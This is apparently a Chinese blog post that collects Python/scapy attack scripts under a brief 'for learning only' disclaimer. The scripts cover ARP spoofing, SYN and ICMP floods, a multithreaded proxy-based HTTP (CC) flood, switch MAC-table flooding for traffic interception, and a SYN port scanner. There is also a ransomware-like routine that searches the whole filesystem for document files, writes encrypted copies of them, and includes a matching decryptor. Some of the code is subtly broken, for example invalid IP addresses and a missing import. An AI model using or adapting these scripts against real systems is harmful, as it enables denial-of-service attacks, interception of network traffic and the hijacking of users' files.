泛洪类python脚本

发布于:2023-02-03 ⋅ 阅读:(517) ⋅ 点赞:(0)

仅供学习参考,不要在真实环境使用

from scapy.layers.inet import IP, TCP,ICMP
from scapy.sendrecv import sr1,send
from scapy.layers.l2 import ARP,Ether
import random,os,logging,base64,requests,threading
from urllib import request
from bs4 import BeautifulSoup
from scapy.volatile import RandMAC

1.arp

def arp():
    ip=input('请输入ip:')
    while True:
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        pkg=ARP(psrc=ip,pdst=ip)
        send(pkg,verbose=False)

2.tcp

def tcp():
    ip = input('请输入ip:')
    while True:
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        sport = random.randint(10000, 30000)
        pkg = IP(src=ip,dst=ip) / TCP(sport=sport, dport=80, flags='S')
        send(pkg, verbose=False)

3.icmp

def icmp():
    ip = input('请输入ip:')
    while True:
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        payload = 'erwrqr' * 100
        pkg = IP(src='192.168.123.456', dst=ip) / ICMP() / payload * 200
        send(pkg, verbose=False)

4.简单的代理cc泛洪(看的b站上的,up账号已注销)

proxies=[]
# 爬取代理服务器的ip和端口
def get_proxies():
    proxies_url = 'https://free.kuaidaili.com/free/inha/'
    #相当与
    temp=requests.get(proxies_url)
    response=temp.text
    # python标准解析,将文档暂存到内存
    soup=BeautifulSoup(response,'html.parser')
    #找到所有tr标签
    trs=soup.find_all('tr')
    for tr in trs:
        if tr.td is None:
            continue
        data=tr.find_all('td')
    #     [<td data-title="IP">202.55.5.209</td>获取的是值
        ip =data[0].text
        port=data[1].text
        method=data[3].text
        if method =='HTTP':
            proxies.append(ip+':'+port)
 用代理服务器发请求
def cc_attack():
    target_url = 'http://192.168.28.17.42:80'
    try:
        proxy=random.choice(proxies)
        # 调用代理
        proxy_handler = request.ProxyHandler({'http':proxy})
        # 相当于打开urlopen
        opener = request.build_opener(proxy_handler)
        #  install_opener(opener)  安装opener作为urlopen()使用的全局URL opener,意味着以后调用urlopen()时都会使用安装的opener对象
        request.install_opener(opener)
        for i in range(100):
            request.urlopen(target_url)
    except Exception as e:
        print(e)
        return
# 多线程代理泛红
def do_attack(thread_number=64):
    for _ in range(thread_number):
        threading.Thread(target=cc_attack).start()

5.mac 泛洪

主要针对交换机,目的是将表塞满,造成交换机广播数据,从而截取

def macfh():
    while True:
        try:
            rand_mac=RandMAC("*:*:*:*:*")
            src=f'192.168.17.{random.randint(1,254)}'
            dst=f'192.168.17.{random.randint(1,254)}'
            src_mac,dst_mac=rand_mac,rand_mac
            pkg=Ether(src=src_mac,dst=dst_mac)/IP(src=src,dst=dst)
            sendp(pkg,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0,verbose=False)
        except:
             pass

6.端口扫描

def duankou(ip):
    for port in range(10, 100):
        logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
        try:
            pkg = IP(src='192.168.112.123', dst=ip) / TCP(dport=port, flags='S')
            reply = sr1(pkg, timeout=1, verbose=False)
            if reply[TCP].flags == 0x12:
                print(f'端口 {port} 开放')
        except:
            pass

       

7.简单位移ascc码进行加密

# 加密的代码,需要上传到liux运行,会将所有word加密
def jiami():
    filepwd = os.popen('find / -name "*.word"').read().strip().split('\n')
    # 加密
    for i in filepwd:
        with open(i, 'rb') as f:
            data = f.read()
            resp = base64.b64encode(data).decode()
            r = ''
            for j in resp:
                b = (ord(j) + 5)
                r += chr(b)
        f = i.split('.')[0]
        print(f)
        # os.remove(i)
        with open(f'{f}.jm', 'wb') as fl:
            fl.write(r.encode())
#解密的代码
def jiemi():
    filepwd = os.popen('find / -name "*jm"').read().strip().split('\n')
    print(filepwd)
    for i in filepwd:
        with open(i, 'rb') as f:
            data = f.read().decode()
            r = ''
            for d in data:
                b = (ord(d) - 5)
                r += chr(b)
        s = base64.b64decode(r)
        f = i.split('.')[0]
        print(f)
        os.remove(i)
        with open(f'{f}.word', 'wb') as fl:
            fl.write(s)
本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到